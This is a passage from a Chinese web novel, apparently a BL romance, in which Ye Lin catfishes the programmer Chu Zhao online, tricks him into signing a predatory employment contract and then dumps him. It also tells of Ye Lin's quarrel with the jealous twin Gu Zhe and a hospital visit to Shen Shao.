桌上已经摆满了饭菜,看得出来是大厨做的,摆盘精致,还有浓郁的香味。 顾柘看到他走出来,就感觉到有事,但没开口。 叶临走到他面前,把手机递过去:“这辆白色的机车,买给我。” 顾柘心神荡漾,盯着他小鹿似的眼睛看:“我为什么要帮你?” 叶临用力戳戳他的胸膛,给关键词加了重音:“是你说要想跟我谈恋爱的,身为男朋友不就应该帮我解决一切。” 顾柘很享受被他这样对待:“两天后车就会送到楼下。” 叶临心满意足地坐下来吃饭,边吃边点评,还要为难顾柘:“我的男朋友都应该擅长厨艺,像今天这种去外面订饭菜的做法不好,以后要改正。” 顾柘轻声应下,并不觉得叶临耀武扬威的姿态可笑,反而觉得像是小猫在装老虎,特别可爱,想亲一口。 事实上,吃完饭后,叶临确实被他亲了。 还抱进浴室里清洗,再送回卧室。 叶临只能在顾柘的怀里玩游戏,嘴里抱怨个不停,也不能分开。 他都想清楚了,当下经济差距过大,不能跟顾柘硬碰硬,等他发育起来再对付顾柘。 再说了,使唤顾柘挺有趣的。只要顾柘足够听话,那他愿意陪这个脑残玩恋爱游戏。 两天后,白色机车到达楼下停车场,加上厉害的改装,可以实现超高速大马力。 叶临对新车爱不释手,每天都会骑着它在市里兜风,驶过高架桥,偏僻的街道,各种奇怪的地形。 在高速的驾驶情况下,他能够近距离接触风,就像是鸟儿在飞翔,尽享自由。 不过为了应付楚诏,还是不能全天都骑车,每天都得抽出一部分时间网聊。 叶临都是选顾柘上班的时间段跟楚诏打游戏。 毕竟他也怕被疯子发现,鬼知道到时候会出什么事情。 才过一周,楚诏就被调教好,保持阳间作息,发消息三秒钟内必回,每天都会主动给他分享日常,称呼也由“甜甜圈”变成“宝宝”。 只是这样不够,还需要一点催化剂。 这天下午,叶临洗完澡闲来无事,拍了一张照片发过去。 【我也想看你的。】 楚诏看到照片的瞬间,脸颊全红了,像是烧起来。 虽然看不到甜甜圈的脸,但是光是看线条都知道是个白皙可爱的男生。 他也拍了照片发过去,对方的话令他更害羞。 【我还以为你整天玩电脑,没有腹肌呢,练得好好看!】 【我经常会健身,就练出来了。】 【看起来好厉害,应该会弄。疼我。】 楚诏看到这句话,鼻血都快飙出来。他从来没有想到,单纯可爱的甜甜圈,居然会说出这种话。 可就是这种强烈的反差感,才会让他越陷愈深,忍不住打电话过去。 叶临看到来电提醒,骂了神经,连忙躺下来,借着变声器跟他聊天。 “你,你怎么打电话过来了?” “我想听听你的声音。” “骗人,我估计你现在很兴奋。” “我,我就是想着你才兴奋的。” “你想着我做什么?”叶临故意追问,他可太懂这种纯情小。处。男的心理,这个时候应该起飞了。 “想着你”楚诏说不出口,他总感觉污言秽语会伤到可爱的甜甜圈,所以只能压抑。 “其实我也想着你,就是看着照片”叶临故意压低声音,用模糊的词汇掩盖现实,有种欲盖弥彰的魅惑感。 楚诏翻到照片,听着他的声音,整个人都是滚烫的,像是从泡在沸腾的温泉池水里。 感知不到温度,只有极限的快乐。 叶临还要故意调侃:“你声音听着应该很厉害,我都知道该给你买什么尺码的” 楚诏声音低沉:“哪个尺码” 叶临故作害羞地停顿片刻,才吞吞吐吐地解释:“特,特大号。” 小。处。男哪里能抵挡得住这种冲击力,光是听着声音,就已经光速降落,回归机场。 楚诏的呼吸沉重,久久没说话。 叶临暗自鄙夷他时间快,等他缓过来才抱怨:“好想亲手触碰到你,被你亲亲抱抱,叫宝宝。” 楚诏对他的渴望已经强烈到峰值,顺势提议:“那我们见面吧。” 叶临故作委屈地抱怨:“见面了我们还是异地恋,好想跟你做同事,同居,每天都在同一家公司见面,这样我就不会被人刁难了。” 楚诏给他发了自己家的地址以及存款余额,诚心道:“上班多辛苦,你直接辞职来我家住,我可以养你。” 叶临数了数余额数字,居然才到千万,嫌弃地翻白眼。 楚诏这点钱在他谈过的男人里算是穷鬼了,这么点钱居然还好意思说“养”,真是笑死人了! 梁文乐单是从指甲缝里流出一点,都比楚诏的身家多几十倍。 顾柘身家比不上梁文乐,他才懒得迎合,都是把顾柘当奴才使唤。 至于楚诏,也就只能被他在网上骗着玩了。 叶临跟他讲道理:“可那是你的钱你的家啊,又不是我的。我是独立的男人,不想被男朋友包。养,我也要赚钱给你买礼物,创造浪漫。 双向付出的爱情才会长久,一直是你付出,时间久了你肯定会嫌弃我没本事,不会赚钱,从而讨厌我。” 楚诏瞬间对甜甜圈肃然起敬,他懊悔自己居然用金钱玷污了甜甜圈独立的人格,真是罪该万死。 叶临继续输出:“你电脑技术这么厉害,要不然就来梵星研发部吧,我就在这个部门,到时候我们就能在公司谈恋爱了。” 楚诏想到梵星的老总,犹豫不已:“可是我在梵星有不想见到的人。” 叶临暗骂楚诏智障,又装可怜地用哭腔说话:“什么不想见到的人,不会是你前男友吧!” 楚诏跟他说了自己和叶临的故事,叹息道:“我觉得他人品不行,感觉梵星没有多大发展空间,才想劝你离开。” 什么,他人品不行? 不说别的,单是做老板这一项:他钱多事少,从不对自己不擅长的领域多嘴。按时放假,加班还会加工资,平时也会给员工带礼物,深受员工的爱戴,分明是个难得的好老板。 怎么能说梵星因为他没有发展空间呢? 叶临火冒三丈,恨不得揪住的楚诏的耳朵大骂眼瞎,但还是要语气柔和地解释:“叶临是个好老板啊,他对员工很好的。 我被人排挤,躲在茶水间哭,他还安慰我,让我转正。而且,他一般不管公司,都是顾柘在管,好凶。” 楚诏听到顾柘的名字,总算对这个公司有了安全感,由衷夸赞:“顾柘应该是个好上司,也不知道为什么去梵星任职。” 叶临更想骂人了,忍不住催促:“哎呀,所以你到底愿不愿意来梵星嘛!” 楚诏已经想去了,他也向往跟恋人同居,一起上班的日子:“我会去的,到时候你就来见我,告诉我,你的名字吧。” 其实他可以顺着甜甜圈的账号查出所有信息,但是这样是对甜甜圈的亵渎。 既然是恋人,就应该水到渠成地坦诚相待。 他要等甜甜圈主动告诉他,心甘情愿地袒露一切,那才是心目中的甜蜜爱情。 叶临连声答应,找借口要吃饭就挂断电话,迫不及待要求人事部,一定要把楚诏聘进来。 只要楚诏签了合同,那他辛苦三个月就有了回报。 第53章 第53章他就被分手了? 为了确保楚诏签上梵星后,没办法毁约逃跑。 叶临吩咐人事部找个厉害的律师,用诱导性的语言写合同,把天价违约金藏住。 人事按照叶老板的要求准备一份只有内行人才能看懂,而外行人很难找到漏洞的黑心合同。 准备完合同,人事还很想问叶临,是不是跟楚诏有仇,否则怎么能用这种损招。 但是想到叶临上个月还给他送了一辆车,也就没有多问。 楚诏出发去梵星的当天,跟甜甜圈发消息,希望到公司门口就能看见他。 言语之间流露出热恋期的男生的真实心情,签约工作都是次要的,见到恋人,跟恋人同居才是最重要的。 叶临看到楚诏发的消息,出于担心还是花钱做了个可爱的妆造。 他要求化妆师把自己的脸涂白,修精致,要看起来单纯无辜,尤其是不能像本人。 化妆师根据时下热门的美少年妆造,帮他戴美瞳和假睫毛,把腮红打在鼻尖和眼下,口红缩短人中,看起来小了十岁。 红红的眼睛像是刚哭过,再加上小巧精致的鼻子,显得我见犹怜。 服装也是浅色系为主,白色的羽绒服搭配奶黄色的毛绒围巾。 脸被毛绒围巾挡住,显得更小巧。 头上还要戴上毛绒大帽,是兔子形状,脸颊都有圆圆腮红,长长的耳朵垂下来。 叶临站在镜子看自己,像个中学生,浑身都散发着奶味,像网上最爱的小0。 化妆成这样,站在远处,应该不会被楚诏发现了。 就是离开化妆店,路人的目光很奇怪。 不仅男生会多看他几眼,女生更是看着他低声讨论,也不知道在说些什么。 叶临干脆用围巾把半张脸遮住,帽子挡住额头和碎发,只露出一双眼睛。 走到十字路口,有个穿着风衣的高大男生走到他面前,拿出手机低声问:“给个电话吧,我是1。” 叶临摆摆手拒绝:“我不喜欢男的。” 高大男生抓住他的胳膊,阻止他离开:“唉,别啊,我觉得我们相遇是缘分来着。” 叶临甩开他的手,眼神不屑地嘲讽:“我有男朋友,比你有钱比你帅,明白了吗?” 没想到这个小0长得可爱,说话却不是温温柔柔,而是嚣张犀利。 高大的男生更加喜欢:“先加着嘛,等你跟你男朋友分手了可以找我,当然,如果你想,不分手也可以找我的。” 叶临抬脚重重地踩了他的鞋面,骂了一句“有病”,这才拦车离去。 去往公司的途中,叶临用手机对着脸拍,忍不住想:难道gay都喜欢这种款式吗? 妆太厚了,都看不出他原本的五官轮廓,大眼睛长睫毛,小而高挺的鼻子,精致得像个娃娃。 楚诏又给他发消息。 【宝宝,我到梵星门口了,怎么没看见你啊?】 【我在外面忙业务,待会儿回去。】 【你在哪里,我直接去找你吧。】 【哎呀,你就在公司等我,去人事部了没有?】 【没去,不着急,之前叶临都求着录用我。到时候我要求他给我个比刘闻高的职位,把你调到我身边,你就不会被欺负了。】 操,真自信啊! 要不是付出了三个多月的沉默成本,真的很想打死楚诏这个不知天高地厚的菜鸟! 【真的吗,你不会吹牛吧?】 【真的,我怎么可能对你吹牛啊。】 【我不信,有本事你在我回公司之前拿到入职通知。】 【行,等你回来,我就是刘闻的上司了。】 叶临见激将法成功,立即发消息通知人事准备好满足刘闻的要求。 可是等到他到达梵星,楚诏还是没有签合同,而是坐在休息室里犹豫,盯着合同反反复复地看。 人事告诉他,楚诏怀疑合同有问题,一直不肯签,还想找靠谱的律师帮忙看看。 真是服了,还多疑! 叶临没办法,只好走到休息室窗外的花坛,再给楚诏发消息。 【我在窗户外面等你,快点签啊。】 【我穿的白衣服,你可千万别大叫,免得被公司其他人发现,我会很尴尬的。】 楚诏看到消息,抬头朝着窗外看去。 花坛里植物全部枯死,冬日的天色昏暗,黄色围巾是唯一的一抹亮色。 有个好看得像是从漫画里走出来的美少年,正扒着窗户站在那里看着他。 大而明亮的眼睛里像是雪山下的湖泊,卷长的睫毛是轻柔的羽毛,眼下的红痕惹人怜爱。 虽然2/3的脸都被围巾和帽子挡住,但露出的那双眼睛美得惊心动魄,像是临死前才能看到的惊艳景色。 由此可以判断,肯定是个好看到极致的美少年。 楚诏的呼吸停滞,都忘记自己身处何地,只想灵魂出窍,穿过玻璃,将这个可爱的少年抱进怀里。 甜甜圈果然很好看,惹人怜爱。 原来他是在跟这样美好的人谈恋爱嘛,真是太幸福了吧! 楚诏感觉大脑缺氧,都快昏死过去,急需救助。 旁边的人事敲击桌子,提醒道:“楚先生你还有几分钟考虑时间,我还得去工作。” 美少年微微蹙眉,像是在埋怨他为什么不快点,神情焦躁。 楚诏感觉自己像是被丘比特的箭矢击中,心潮彭拜,几欲癫狂。 他看了眼合同给的职位,再问一遍:“确定给我的职位比刘闻高” 人事点点头,不明白叶临为什么要把研发部的部长职位给楚诏,但工资又远远低于刘闻。 楚诏看到恋人,哪里还有心情细看,确认职位比刘闻高,拿起笔迅速地签下名字按红章,就跑出休息室。 叶临逃跑的速度比他更快,边摘下围巾和帽子,边朝着地下停车场跑去。 结果刚到入口,就被顾柘抓住。 顾柘看着他脸上的妆容,像是刚刚从舞台下来的爱豆,眉心微蹙:“你化成这个鬼样子做什么?” 叶临看到顾柘就松了一口气,摊手解释:“闲着没事干,纯玩呗。” 顾柘抬手去摸他的脸颊,嫌弃地“啧”了一声,将人往回拽:“丑死了,跟我去卸妆。” 叶临被迫拖走,嘴里骂骂咧咧:“我化妆关你屁事,神经病!” 顾柘感知到危险,立即停下来,盯着他的眼睛看:“你去酒吧找男人玩了?” “呵,大白天去酒吧玩哈。” 顾柘想到最近都没关注叶临,有可能化妆跑出去勾搭男生。 毕竟叶临一直不检点,就喜欢钓男人玩。 “饥饿值多少了?” “才不告诉你!” 叶临嘴上这样说,但还是下意识地向魅魔系统查询。 【饥饿值46%,建议补充能量。】 也不算很高,毕竟距离上次还没间隔半个月。 顾柘看出他眼神里的慌张,啧了一声就将人甩进副驾驶座,上好安全带,开车出停车场。 叶临坐在副驾驶座,生气地踹前面,骂顾柘有病。 这辆黑色的豪车驶过梵星门口,叶临的窗户半开着,刚好跟路过的楚诏对视。 虽然没有毛巾和帽子,但那双眼睛还是吸引住楚诏的视线。 刹那间,风扫过彼此的脸颊,他们的目光在冷空气中交汇,像是跨越了两个时空。 楚诏注意到旁边的顾柘,有点不敢确认自己的眼睛,感觉是自己认错了人。 毕竟甜甜圈只是个穿着羽绒服,戴毛巾和帽子的普通员工,怎么可能会坐在顾柘的副驾驶座上。 而且那个人的侧脸,细看之下,居然有点像叶临,更不可能了。 楚诏连忙拿出手机给甜甜圈打电话发消息,但都没有得到回复。 他只好回到梵星,跟研发部的所有人打听甜甜圈的消息,都没有人见过可爱精致的男生。 研发部里只有穿着格子衫,经常不收拾,眼神憔悴的程序猿,哪有香香软软的可爱小男生。 楚诏盯着甜甜圈的账号,陷入沉思,很想动用手段细查,但还是强行忍住。 与此同时,叶临坐在车上看到手机呼吸灯不断闪烁,判断出楚诏发了很多消息。 但顾柘在旁边,他可不敢回复。 顾柘狡猾奸诈,可没有梁文乐好骗,必须小心。 车停在一个大型商超,里面有化妆店可以帮忙卸妆,还能买衣服,吃饭看电影。 顾柘没谈过恋爱,也了解过恋人的约会必备事项:逛街买衣服,看电影吃饭。 今天正好看到叶临这副模样,干脆全部补全。 但他嘴上可不会说这是约会,只是强硬地将叶临带去化妆店。 店员看到叶临的装扮,由衷地夸赞:“好可爱的男孩子,是刚刚表演完吗?” 叶临确实刚骗完楚诏,于是点点头,结果就感觉到旁边有道锐利的视线。 不用想都知道是顾柘,估计是在生气他化妆跑去表演。 管他的,顾柘活该被气,才不解释。 叶临配合店员卸完妆,总算恢复到原本的模样。 他长得瘦,巴掌大的小脸,脸型流畅,五官底子很好,什么妆造都能抗住。 顾柘喜欢他素颜的样子,没有过度修饰,纯天然的美,像是夏季的柠檬,清爽干净。 原本的眼睛也比美瞳灵动有神,是没有被工作摧残过的清澈,尽显少年气息。 顾柘走过去,捧着叶临的脸仔细端详:“这样才好,以后别化妆。” 叶临翻白眼,无情回怼:“呵,你是我爹啊,还说教上了。脸长在我身上,我爱化就化,要你管!” 旁边的店员察觉到氛围严肃,轻声笑起来,帮着客人缓和气氛:“小哥哥,你男朋友是夸你长得好看,纯素颜都好看,不需要多余的修饰。” 叶临眨了眨眼睛,自信地站起来,拍拍顾柘的脸:“我本来就长得好看,比你这个土包子好看。” 店员哑然,他没见过这种类型情侣,像冤家一样。 顾柘也不恼,抓住他的手来亲,顺承道:“你最好看,比谁都好看。” 叶临对上他痴情的眼神,连忙抽回手,朝着外面走去,扬言要买很多贵重物品,让顾柘破产。 实际上,顾柘的钱可以把整个商超包圆,根本不怕他乱买。 顾柘带着他去单独的房间,有专人推着各种衣服进来,只需要坐在沙发上挑选。 茶几上还有茶点,以及服装搭配的册子,可供翻阅。 叶临看着此情此景,梦回当初要顾嘉致帮他买衣服的时候。 也是这种装修精致的房间,有导购员帮他介绍服装。 而顾嘉致就坐在沙发上,看着他换上一件又一件的衣服,目光里尽是赞赏。 叶临没翻阅册子,只是盯着茶点看,情不自禁地说了一句:“怎么没有奶油泡芙?” 顾柘听到这句话愣住。他没想到夜叶临会喜欢吃奶油泡芙,还是吩咐导购员去端过来。 叶临扫过面*前的衣服,大都是黑白灰的冷色调,没有明亮的粉,黄,绿。 虽然他以前不喜欢这种亮色系的衣服,但现在莫名就很想看到。 “我不喜欢这些颜色,怎么没有亮一点的颜色,彩虹七种颜色都来点吧。” 导购员看向旁边的顾柘,眼神征求意见。 顾柘欣赏不来那些亮色系的衣服,只觉得幼稚晃眼:“你居然喜欢彩色系的衣服,我以为你这种人不会讲究穿衣服。” 叶临当着导购员的面,踹了他的裤腿:“我就喜欢,你不买,我自己买!” 顾柘可不想把男朋友的义务让出去,只好吩咐导购员把其他颜色的衣服推进来。 导购员认识顾柘,都没见过这位脾气好的时候,退出去后就忍不住跟周围的同事蛐蛐。 奶油泡芙和彩色衣服都到位,终于还原了那天的情景。 叶临拿起奶油泡芙,看着面前的顾柘,仿佛看到当初的顾嘉致,这才一口吞下去。 他的嘴很小,奶油溢出来,沾到了嘴角。 顾柘立即拿出纸巾想帮他擦拭,无奈劝道:“一次吃不下,可以分两次。” 叶临扭过头,没让他擦拭,心情陷入谷底。 顾嘉致不会这样,只会在旁边静静地看着,等他自己舔干净,再牵住他的手离开商场,去买他喜欢的游戏卡带,最后回家。 奶油泡芙很甜腻,果然是难吃的食物。 叶临自己用纸巾擦,没有在吃剩余的泡芙,站起来去挑选衣服。 不管他看上哪件,导购员都会热心的解释。 现在的选择权很多,各种色系,各种款式的衣服都有。 顾嘉致带他来的时候,完全不是这样。 这个时候,叶临才意识到原来每次来商场买衣服,都是顾嘉致提前挑选过的。 很奇妙的感觉。 如果顾嘉致就在现场,他肯定会骂顾嘉致;但顾嘉致远在千里之外,病痛还未痊愈,就会怀念。 叶临随手抽出一件海盐系的外套,看向顾柘:“这件好看吗?” 顾柘示意导购员拿出一件灰色的外套:“灰色的更合适你。” 叶临没有买衣服的心思了,把衣服放回去:“我又不缺衣服,不买了。” 顾柘不会逼迫他买,站起来跟着他出去。 商场里有个游戏区,里面有很多中学生在玩,还不断地起哄。 应该是在玩射击游戏,不断地有枪声响起,还有怪物的哀嚎。 叶临想到之前来逛街,也会玩这些游戏机。当时他还要跟顾嘉致比赛,看谁爆头的次数多。 顾柘注意到他的目光停留在那些大型游戏机上面,主动提议:“喜欢的话,家里会准备几台。” 叶临牵住他的手往一台游戏机面前走,步伐很快。 顾柘第一次被他主动牵手,心里是雀跃的,感觉到手心里的温度,全身都是暖洋洋的,很舒服。 叶临到了游戏机前,选择双人模式,把道具枪递给顾柘,眉眼弯着:“我们来比赛,看谁爆头的次数多,谁就厉害。” 顾柘握着手里的塑料枪,看到周围的中学生,总觉得这种行为幼稚,于是放回去:“你打吧,我在旁边等你。” 叶临脸上的笑容消失,没来由地产生了怒火。 就像是他花钱买了一个机器人,这个机器人完全仿照顾嘉致,喜怒哀乐都得像顾嘉致。 结果到货后,机器人居然不像顾嘉致,还跟他唱反调,真是令人失望。 他骂了一声“没劲”,放下道具枪,大步朝着商场外走去。 顾柘跟上去叫他,但都没能让他停下脚步。 直到离开商场,看到外面的车辆和行人,叶临才有种实感。 原来顾嘉致离开很久了,只停留在他的记忆中。 叶临心情不痛快,连带着讨厌周围的环境,觉得人声嘈杂,阳光刺眼难忍,车辆臭味熏天。 顾柘察觉到他眼神里的失落,恍然大悟,按住他的肩膀质问:“你说实话,你刚刚把我当成了什么!” 叶临抬眼看他,嘴角勾起一抹嘲讽的弧度,怀念故人的心思早就溢于言表。 顾柘看到他的表情,就像是在温暖如春的花海被人泼了冷水,强行拉到极地冰川中罚站,连血液都冻结,遍体生寒。 怪不得,叶临的态度忽冷忽热,心情出现巨大的起伏。 顾柘自虐式地发问:“是顾嘉致,他带你来买衣服,只选亮色的,还给你吃奶油泡芙,陪你打游戏!” 叶临沉默,看向别处。他也不知道自己怎么了,跟顾柘在一起的时候,总算会想起以前的顾嘉致。 顾柘受不了叶临这样,他情愿叶临情绪激动地骂人,打他,都不要这种陷入情伤般的失魂落魄,不言不语。 “叶临,你看清楚!”顾柘掐着他的下巴强硬地掰过来正视自己:“站在你面前的是我,不是顾嘉致!” 叶临抬手推开他,语气冷淡:“你们长得一模一样,我看错很正常。” 顾柘的脑海里忽然浮现出顾嘉致的那句话,“小时候第一次梁文乐见面,他都能分出我和顾柘。” 对啊,梁文乐那个蠢货都能很清楚他和顾嘉致,叶临却做不到。 他站在这里,还是被几个月前的回旋镖击中。 高速旋转的锋利刀刃,飞速地将他全身凌迟,不剩一块好肉,血肉模糊。 原来那天顾嘉致推开公寓门进来,是这种心情:失落崩溃,怀疑痛苦。 顾柘张嘴都能尝到血腥味,声音发颤:“叶临,你真是个恶毒的人。” 叶临抬眼看他,讽刺道:呵,谁有你顾柘恶毒啊!假装亲弟骗我,害得他重症未愈,又发神经跟我谈恋爱!” 是这样,最初他假装顾嘉致跟叶临欢好,听到了叶临的告白,所以现在经常被当成顾嘉致的替身。 可顾柘还是不服气,他远远优于顾嘉致,凭什么叶临要把他当成替身! “就只有顾嘉致重病吗?我也进了ICU,休养了大半年才好。 我还免费帮你管理梵星,帮你融资,每天任劳任怨,他能跟我比?” “他就是比你好,好一千倍一万倍,你哪里都比不上他!” 顾柘快窒息了,忽然觉得自己辛苦熬夜做的一切,忍受的嫉妒都是虚妄。 他很想就此放手,跟叶临一拍两散,但说不出口。 时间停滞流逝,世界静止。 他们像是仇人,拔刀相向。 此刻,手机铃声忽然响起,接通后是梵星的生意出了问题。 电话终于给了彼此一个体面的台阶。 顾柘挂断电话,朝着停车场走去,勉强用平和的语气结束这场争执:“上次合同出了问题,我去外地处理,你呆在家里别乱跑。” 叶临没说话,只是静静地站在原地,看着这个得力干将远去。 他没有回了顾柘的公寓,而是去了沈邵的公寓。 吃完晚饭才打开手机看消息,铺天盖地都是楚诏的消息,看得令人心生厌烦。 叶临发消息询问人事,确认楚诏已经签了合同,就给楚诏发消息。 【我心情不好,所以不想见你。】 【宝宝,你怎么了,谁欺负你了?】 【就是因为你心情不好。】 【宝宝对不起,我哪里惹你生气了,你可以说出来,我会改的。】 【今天在公司看到你,感觉你真人又丑又邋遢,让我想吐,所以分手吧,就这样!】 达成目的后,叶临懒得演戏,干脆利落地删除好友,打开游戏发泄怨气。 讲道理,他在顾柘那里受了气,不应该冲楚诏发火。 但现在顾柘去为公司处理事情,人不在面前,楚诏自己要撞枪口,就是活该了。 叶临没有因此谴责自己,完全沉浸在虚拟世界里,试图分散注意力。 他完全没想到,今天的恶行会种下恶果。 第54章 第54章甜甜圈居然是叶临? 楚诏看到分手的瞬间,大脑拒绝处理这个消息,表情是麻木的,手指下意识地打字想问清楚。 结果消息发不出去,显示对方已经删除拉黑他的好友。 怎么会? 楚诏难以置信,明明早上的时候他还在跟甜甜圈甜蜜聊天,到了晚上就被告知分手,还被删除好友。 网上确实有很多网恋奔现,最后被丑拒的例子。 今天在梵星的时候,他看见甜甜圈长得很好看,精致得不像是真人。 难道真是他太邋遢了,不化妆打扮? 楚诏连忙找来镜子照脸,360度的检查,比照网上的帅哥图,发现自己的长相确实不符合黄金比例,更不符合主流。 甜甜圈就是因为他长得丑,所以才会甩了他吗? 那为什么,不在上午的时候就跟他说分手,偏要到了晚上才说? 之前要同居,一起做同事的话还历历在耳,像是炮弹将他击中,碎成无数片, 他不相信,登录游戏后,发现甜甜圈不在线,就给对方发了很多消息。 五个小时后没有回复,眼眶已经泛酸,困得想要倒头就睡。 楚诏就怕错过甜甜圈的消息,猛灌一口咖啡,又继续蹲在电脑前面。 直到18个小时后甜甜圈终于上线,给他回了消息,还提出解除道侣申请。 【都说分手了,还要发这些话做什么?】 楚诏拒绝解除道侣关系,继续打字。 【你是因为我长的不好看,才要分手的?】 【对,你非要听我说难听的话才罢休吗?】 【我不相信,如果你真的嫌弃我丑,就应该给在梵星的时候跟我说分手,而不是晚上跟我说分手,你肯定是遇到了什么事情。】 【是因为刘闻吗,还是你们公司别的人,还是你们家里出了什么事情?】 楚诏很珍惜这段初恋,发现一个漏洞就像是抓住了救命稻草,不断地追问,希望甜甜圈能够给出他合理的解释。 可是对方并没有照着他想的那样解释,反而说出更加恶毒的话。 【哎呀,你真的很烦,我就是嫌弃你没钱,长得丑,所以才跟你分手的。】 【那你之前还说想跟我做同事,同居,谈一辈子的恋爱。】 【天气都易变,更何况人呢。实话跟你说吧,我这种长相,不缺人追求。 昨天我看到你那个穷酸样,就答应了一个有钱的富二代谈恋爱,从梵星辞职了。】 【谁,哪个富二代?】 【反正就是比你有钱几百倍,我可看不上你那点存款,打发乞丐呢。就这样,这个号我注销了,永别。】 楚昭看到甜甜圈的图标变灰,点进去就是“此用户已注销,无法查看详细信息”。 怎么会这样,他被甜甜圈嫌弃穷酸? 楚诏看到甜甜圈的眼睛,就觉得惊艳,紧接着就感觉到自卑。 他从来没有见过这么好看的男孩子,像是水晶般干净,又像樱花一样美好,只存在于二次元中。 甜甜圈说的是实话,他那种长相,真的不差男人喜欢,选择权很多。 可是既然嫌弃他,一开始为什么主动找他说话,叫他大神,跟他谈恋爱呢? 他跟甜甜圈聊了三个多月,彼此分享日常,用最亲密的称呼叫对方,还在游戏里绑定了道侣关系。 甜甜圈会叫他“男朋友”,偶尔还会叫“老公”。而他会叫甜甜圈“宝宝”,多么亲昵,还用电话做过那种事情。 除开见面这一条,已经算是在热恋了。 楚诏单身了20年,从来没有体会过这种甜蜜的感觉。 家里的兄弟姐妹很多,他小的时候过得很苦。没有零食玩具,衣服都是穿哥哥们剩下来的,还得勤工俭学挣学费。 后来,他读到高中,接触到计算机,就此沉迷用计算机赚钱。 因为爸妈的关系恶劣,总是吵架砸东西,身边人的恋爱也很抓马,所以他对爱情和婚姻都没兴趣。 本来以为,他会一直维持单身到死,直到遇到甜甜圈,枯萎的爱意才复苏,化作无垠的草原。 然而,甜甜圈有了更好的男人,再也不会联系他,也不可能是他的男朋友。 初恋无疾而终,整个人都像是被抽干了力气。 楚诏瘫倒在桌子上,心口在滴血,满溢出来,将整个房间都染红。 他还有呼吸,但已经失去了生命,形同尸体。 倘若不能跟甜甜圈恋爱,那活着还有什么意义呢? 楚诏无法从这段关系里释怀,不断地回忆他们的曾经,像是用钝刀在磨自己的肉,鲜血淋漓,也不舍得停止。 与此同时,叶临正在吃饭,看着电影。 手机铃声响起,滑动接听是沈邵的电话。 “你最近很忙吗?”沈邵的语气很小心,怕他会厌烦生气。 “还好吧,就是吃吃喝喝,玩游戏。”叶临听到他的声音低,怀疑病还没好,立即追问:“你的病好点了吗?” “好多了,但是我好久没有看到你了。”沈邵说话的时候哽咽,委屈得快要哭。 “啊,是有很久了。刚好我有事情跟你说,下午就过来。”叶临算算日子,确实有很久没去看沈邵了,想到沈邵为自己挨打,还为梵星做贡献,就会不忍心。 “那我等你。”沈邵的语气雀跃,喜上眉梢,恨不得马上看见叶临。 下午两点天色阴沉,冷风吹得小院子里的树叶尽数掉落,这个天气,家属也不会推着病人去散步。 沈邵坐在病房里,看着窗外的景色,想起枫叶黄的时候,叶临推着他在院子散步,心情惆怅。 还好下一刻,叶临就拎着营养品走进来,慰问他的健康。 沈邵跟他闲聊了几句,就想吃苹果。 叶临亲手帮他削皮,切块,递到他的嘴里,提起楚诏的事情。 他骄傲地宣布,耍手段把楚诏骗到梵星的研发部,今后研发部以后的发展大好。 沈邵笑着夸奖他,顺势问起手段:“你怎么骗他的?” 叶临放下刀子,开始嘲笑楚诏的愚蠢:“装成小男生跟他网恋,骗他签了梵星的合同,再跟他提分手。 你不知道他多蠢,应该是没谈过恋爱,我说什么,他就做什么。” 沈邵见识过叶临欺骗男人的本事,有了不好的预感,坐姿都僵硬:“你这样对他,不怕他发现后报复你?” 叶临得意地摆手:“这有什么,反正他签了合同,要是想毁约就得支付天价违约金,到时候还不是要讨好我这个老板。” 沈邵感慨叶临的手段卑劣,但他并不会进行指责喜欢的人,只好劝:“你以后还是离他远点,总感觉是个定时炸弹。” 叶临点点头,还自信地拍拍胸脯,保证自己有的是办法整治楚诏。 他想到顾柘之前说过的话,还是转述给沈邵。 沈邵听到顾柘希望自己退出梵星,并不惊讶,相反更在意叶临的态度,于是看着那双淡褐色的眼睛,期许道:“那,你是怎么想的?” 叶临被他看得心虚,像是没能力负责的渣男,眼睛珠子转了好几圈才想出应对之法:“你为梵星付出了很多,我本人肯定是不想辞你。但是顾柘这个混蛋太固执了” 沈邵抓住他的手,阻止他继续说下去:“没关系,我不会让你为难的。到时候,你只管听他的,我自有办法回梵星。” 叶临忽然觉得自己对不起沈邵,居然连个职位都保不住,只好发誓:“你放心,等梵星发展起来,我就把顾柘踹掉,迎你回去。” 这句话说的,就好像是古代渣男在向外室保证,等到正妻病重就休掉,八抬大轿地迎娶外室进门。 沈邵很喜欢叶临愧疚的感觉,这让他感觉自己是被爱着,远远胜过顾柘这个名义上的男朋友。 他轻轻地拍叶临的手,体贴地说道:“我懂你的苦衷,只要你不喜欢顾柘,心里有我就足够了。” 叶临斩钉截铁:“我怎么可能喜欢顾柘那个混蛋,他还想跟我谈恋爱,逢场作戏罢了。” 沈邵故意问:“那顾柘和我,谁对你更重要?” 叶临注意到他的病态,竟有几丝柔弱的美感,不由得轻声哄:“当然是你了,之前我还乐意嘴甜哄哄梁文乐,逗他开心。顾柘就没这个待遇,纯奴才,被我使唤的命。” 沈邵轻声笑起来:“那,如果我和顾柘同时掉进河里,你先救谁?” 叶临总感觉这个问题很熟悉,好像以前也被人问过。 谁来着?算了不管。 他怜惜病弱的沈邵,抬手帮忙盖好被子,轻轻地拍,:“肯定救你啊,顾柘哪里能跟你比。你就安心养病吧,梵星我来管。” 沈邵像是尝到了蜂蜜,快要被甜腻死,眉梢眼角都带着笑意,还要听更多的好话:“我生病的这段时间,你吃的不好吧。” 叶临沉默一会儿,长长地叹气,由衷地感慨:“唉,哪个大厨都没你的手艺好。我是真想念你做的海鲜粥,肉丝” 沈邵听他念了一长串菜名,用食指按住他的嘴,眉毛微蹙:“别说了,我听见你吃不到好的,还为公司忙前忙后,就替你难受。真的很想帮你做饭,可惜我身体还没好。” 这话在心疼男人的难处,还要自责身体不好,声音轻轻地,像是羽毛挠到心坎里。 叶临太吃这一套了,幻视贤惠善良的妻子,男人的责任感突然增强,连忙握住沈邵的手,柔声安慰:“没事,你会好起来的。” 沈邵见计谋得逞,顺势要求:“你这段时间不忙的话,可以多陪陪我吗,我一个人在这里很难受。” 叶临想到顾柘最近外出忙生意,刚好有时间,立即应下来。 沈邵让出旁边的位置,让他在旁边躺下来,再低头跟他说些有趣的事情,两个人都笑起来。 他最懂叶临想听什么,总能轻松地逗叶临开心。 笑着笑着,目光就会对视。 沈邵靠过去亲他,感觉到回应,立刻加深这个吻。 温热的呼吸交织在一起,白色的床单被套浮现出褶皱,头发都凌乱。 脸颊彻底红透,才分开抱着对方换气。 沈邵抓着叶临的手,低垂着眉眼:“我有点难受。” 